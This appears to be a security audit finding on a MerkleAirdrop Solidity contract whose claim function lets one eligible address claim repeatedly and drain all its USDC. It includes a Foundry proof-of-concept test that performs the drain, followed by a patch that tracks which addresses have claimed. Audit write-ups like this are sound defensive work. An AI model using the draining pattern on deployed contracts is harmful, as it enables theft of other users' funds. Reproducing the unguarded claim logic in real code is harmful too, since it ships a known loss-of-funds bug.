Summary
The contract is supposed to provide 25 USDC to each of the four addresses listed. However, any of these addresses can call the MerkleAirdrop::claim
function multiple times, withdrawing the whole USDC balance of the contract.
Vulnerability Details
Given that the address has a sufficient amount of ETH to cover the fees, it can call the MerkleAirdrop::claim
function repeatedly and withdraw all the available balance of USDC. Other users will then be unable to withdraw their reward.
function testUserCanClaimMultipleTimes() public {
uint256 startingCollectorBalance = token.balanceOf(collectorOne);
uint256 startingContractBalance = token.balanceOf(address(airdrop));
uint256 fourTimesFee = airdrop.getFee() * 4;
vm.deal(collectorOne, fourTimesFee);
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
vm.stopPrank();
uint256 endCollectorBalance = token.balanceOf(collectorOne);
uint256 endContractBalance = token.balanceOf(address(airdrop));
assertEq(startingContractBalance, endCollectorBalance);
assertEq(endContractBalance, startingCollectorBalance);
assertEq(endContractBalance, 0);
}
Impact
The remaining users who have correct proofs will be unable to withdraw their rewards as the USDC balance of the contract will be zero.
Tools Used
Unit testing, static analysis
Recommendations
Recommended adding the following checks to ensure one address does not withdraw twice. Add the following error, mapping and if
statement to the MerkleAirdrop::claim
function. This will track what addresses claimed their reward and prohibit them from double-claiming it.
+ error MerkleAirdrop__RewardWasAlreadyClaimed();
uint256 private constant FEE = 1e9;
IERC20 private immutable i_airdropToken;
bytes32 private immutable i_merkleRoot;
+ mapping(address => bool) internal s_rewardClaimed;
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ if (s_rewardClaimed[account]) {
+ revert MerkleAirdrop__RewardWasAlreadyClaimed();
+ }
+ s_rewardClaimed[account] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}